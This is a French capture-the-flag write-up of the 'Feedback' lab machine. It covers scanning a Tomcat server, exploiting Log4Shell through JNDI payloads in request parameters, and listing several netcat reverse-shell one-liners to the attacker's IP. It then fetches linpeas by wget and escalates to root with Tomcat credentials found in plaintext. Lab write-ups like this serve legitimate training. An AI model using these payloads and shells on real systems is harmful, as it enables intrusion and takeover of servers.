



Feedback - Easy

WRITE-UP by Frozenk

date : 2024-04-16

Table des matières

Résumé exécutif	2
Méthodologie et portée	2
1 Writeup	3

Résumé exécutif

Résumé exécutif Ce document est la propriété exclusive de Frozenk. Il a été rédigé dans le cadre d'un entraînement basé sur un Capture The Flag (CTF) et a été réalisé de manière éthique, légale, et conforme aux règles établies par les organisateurs du CTF. Les actions décrites et les techniques utilisées l'ont été dans un environnement contrôlé et destiné à cet effet.

Il est interdit de reproduire, distribuer ou utiliser ce document ou une partie de ce document à des fins autres que la lecture personnelle sans le consentement écrit de son auteur.

Les informations contenues dans ce document sont fournies "en l'état" et sont basées sur les connaissances et les observations de l'auteur au moment de la rédaction. Aucune garantie n'est donnée quant à l'exhaustivité ou l'exactitude de ces informations.

L'objectif principal de ce write-up est éducatif. Il vise à partager des connaissances, des techniques, et des méthodes utilisées pour résoudre les challenges du CTF. Il ne doit en aucun cas être utilisé pour mener des activités illégales ou non éthiques.

Méthodologie et portée

Le challenge Capture The Flag (CTF) présenté dans le write-up "Frozenk" a été conçu pour permettre aux participants de découvrir et d'exploiter des vulnérabilités dans un environnement simulé et sécurisé. Le périmètre de ce CTF a été défini par le CTF garantissant ainsi que seuls les composants prévus étaient inclus dans le challenge.

1 Writeup



Périmètre

IP : 10.10.84.254
OS : Linux
Domaine :



Récupération d'informations

PortScan :

```
sudo nmap 10.10.84.254 -sC -sV -Pn -oN resultnmapFeedback
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-16 18:17 CEST
Nmap scan report for 10.10.84.254
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e7303d1c28d7f2f7d98441d2c2c8824e (RSA)
|   256 7211f6d31a2cf2405ca83d87a43afb29 (ECDSA)
|_  256 f3afea4751723ebef02e72b3ea4a0c6c (ED25519)
8080/tcp  open  http     Apache Tomcat 9.0.56
|_ http-title: Apache Tomcat/9.0.56
|_ http-favicon: Apache Tomcat
|_ http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.62 seconds
```

Découverte de : " Apache Tomcat/9.0.56 "

Fuzzer :

```
302      GET      0l      0w      0c http://10.10.84.254:8080/examples =>
http://10.10.84.254:8080/examples/
302      GET      0l      0w      0c http://10.10.84.254:8080/docs/config
=> http://10.10.84.254:8080/docs/config/
302      GET      0l      0w      0c http://10.10.84.254:8080/docs/appdev
=> http://10.10.84.254:8080/docs/appdev/
200      GET      34l     158w    1156c http://10.10.84.254:8080/docs/api/
```

```

200      GET      119321    63280w    670685c http://10.10.84.254:8080/docs/
changelog.html
200      GET       1981      490w      11136c http://10.10.84.254:8080/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/images
=> http://10.10.84.254:8080/docs/images/
200      GET       811      159w          -c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp => http://10.10.84.254:8080/examples/jsp/
200      GET       811      143w          -c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
200      GET       161       31w       538c http://10.10.84.254:8080/feedback/
feedback/logfeedback.action;jsessionId=F2B5387D19F7A5E9A4F3EFF68454F34A
200      GET       321       76w      1169c http://10.10.84.254:8080/feedback/
index
302      GET        01        0w          0c http://10.10.84.254:8080/docs/api =>
http://10.10.84.254:8080/docs/api/
200      GET       161       31w       538c http://10.10.84.254:8080/feedback/
feedback/feedback/
logfeedback.action;jsessionId=F34F1E4B587623F8504D5B3FCEF495F1
200      GET       321       76w      1169c http://10.10.84.254:8080/feedback/
feedback/index
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp/images => http://10.10.84.254:8080/examples/jsp/images/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp/security => http://10.10.84.254:8080/examples/jsp/security/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp/xml => http://10.10.84.254:8080/examples/jsp/xml/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/
architecture => http://10.10.84.254:8080/docs/architecture/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp/forward => http://10.10.84.254:8080/examples/jsp/forward/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/
appdev/sample => http://10.10.84.254:8080/docs/appdev/sample/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/
appdev/sample/docs => http://10.10.84.254:8080/docs/appdev/sample/docs/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/
appdev/sample/web => http://10.10.84.254:8080/docs/appdev/sample/web/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
jsp/include => http://10.10.84.254:8080/examples/jsp/include/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
servlets => http://10.10.84.254:8080/examples/servlets/
302      GET        01        0w          0c http://10.10.84.254:8080/examples/
servlets/images => http://10.10.84.254:8080/examples/servlets/images/
302      GET        01        0w          0c http://10.10.84.254:8080/docs/
appdev/sample/src => http://10.10.84.254:8080/docs/appdev/sample/src/

```

http://10.10.84.254:8080/feedback/ ==> très intéressant Un passage dans Burpsuite nous indique qu'il s'agit de json, donc le combot json + log fait penssé a la célèbre faille log4j

je teste donc ça avec Burp :

```
Request
Pretty Raw Hex
1 GET
  /feedback/logfeedback.action;jsessionid=24FB34C3DDD61D610938691A47850
  41B?name=%7Bjndi:ldap://10.8.1.242:1337/%7D&feedback=
  %7Bjndi:ldap://10.8.1.242:1337/%7D HTTP/1.1
2 Host: 10.10.84.254:8080
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58
  Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imag
  e/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Referer: http://10.10.84.254:8080/feedback/
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Cookie: JSESSIONID=24FB34C3DDD61D610938691A4785041B
10 Connection: close
11
```

Et il y a bien une réaction sur mon netcat, il nous reste plus qu'à exploiter cela maintenant

Exploitation

Utilisation du git : <https://github.com/kozmer/log4j-shell-poc>

```
python3 poc.py --userip 10.8.1.242 --webport 8081 --lport 1337
rlwrap nc -lvnp 1337
rlwrap nc -lvnp 1337
```

Je fait un shell plus stable

```
/workspace # shellerator

[1] nc -e /bin/sh 10.8.1.242 443

[2] nc -e /bin/bash 10.8.1.242 443

[3] nc -c bash 10.8.1.242 443

[4] mknod backpipe p && nc 10.8.1.242 443 0<backpipe | /bin/bash 1>backpipe

[5] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.242 443 >/tmp/
f
```

```
[6] rm -f /tmp/p; mknod /tmp/p p && nc 10.8.1.242 443 0/tmp/p 2>&1
```

```
[7] rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.8.1.242 443 > f
```

```
[8] rm -f x; mknod x p && nc 10.8.1.242 443 0<x | /bin/bash 1>x
```

CLI command used

```
/root/.local/bin/shellerator --reverse-shell --type netcat --lhost 10.8.1.242  
--lport 443
```

Élévation de privilèges

Je lance une linpeas grace a linfast

```
[Apr 16, 2024 - 19:59:51 (CEST)] exegol-vulnlab /workspace # linfast  
-----  
/LINFAS.T. \  
|  
  \ By FrozenK /  
|  
-----  
  \  ^ ^  
   (oo)\_____  
  (____)\_____)\\  
         ||----w |  
         ||     ||  
-----  
Getting the IP address of interface tun0  
Obtention de l'adresse IP de l'interface tun0...  
Downloading the latest version of linpeas.sh, replacing the existing file  
Téléchargement de la dernière version de linpeas.sh en remplaçant le fichier existant...  
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
           %         %         Dload  Upload   Total   Spent    Left   Speed  
0      0     0      0      0      0      0      0  --:--:-- --:--:-- --:--:--    0  
0      0     0      0      0      0      0      0  --:--:-- --:--:-- --:--:--    0  
0      0     0      0      0      0      0      0  --:--:-- --:--:-- --:--:--    0  
100  840k  100  840k    0      0  732k      0  0:00:01  0:00:01 --:--:-- 2593k  
Copy this line : wget http://10.8.1.242:80/linpeas.sh
```

Je trouve un fichier avec password :

```
===== Analyzing Tomcat Files (limit 70)  
-rw-r----- 1 root tomcat 1226 Dec 11 2021 /opt/tomcat/conf/tomcat-users.xml  
  <user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>  
  <user username="robot" password="H2RR3rGDrbAnPxWa" roles="manager-script"/>
```

```
<user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>
```

Nous avons donc le password root :

```
tomcat@ip-10-10-10-7:/tmp$ su -  
su -  
Password: H2RR3rGDrbAnPxWa
```

```
root@ip-10-10-10-7:~#
```

```
    snap  
10-10-10-7:~# cat root.txt  
.txt  
f42f4e279698c91c0ce911d51a9}
```




Suivez-moi :

 Youtube = @FrozenKwa  Github = Frozenka